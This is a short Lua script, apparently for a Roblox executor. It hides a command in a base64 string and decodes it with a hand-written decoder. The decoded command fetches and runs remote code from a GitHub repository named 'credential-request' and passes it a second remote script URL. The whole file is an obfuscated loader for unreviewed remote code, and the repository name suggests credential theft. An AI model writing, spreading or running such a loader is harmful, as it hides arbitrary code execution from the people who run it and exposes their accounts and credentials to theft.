local encoded = "bG9hZHN0cmluZyhnYW1lOkh0dHBHZXQoImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9oaWQxZXkvY3JlZGVudGlhbC1yZXF1ZXN0L3JlZnMvaGVhZHMvbWFpbi9IdWIvVW5pdmVyc2FsL1N5c3RlbS5sdWEiKSkoKSh7CiAgICBIdWJOYW1lID0gIkNjZ3ZiIEh1YiIsCiAgICBTY3JpcHQgPSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NpZ21hYm9pamprMTIzL2pqcy9yZWZzL2hlYWRzL21haW4vSnVqdXRzdWVyLmx1YSIKfSk="

local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
function decode(data)
    data = string.gsub(data, '[^'..b..'=]', '')
    return (data:gsub('.', function(x)
        if x == '=' then return '' end
        local r,f='',(b:find(x)-1)
        for i=6,1,-1 do
            r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0')
        end
        return r
    end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
        if #x ~= 8 then return '' end
        local c=0
        for i=1,8 do
            c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0)
        end
        return string.char(c)
    end))
end

loadstring(decode(encoded))()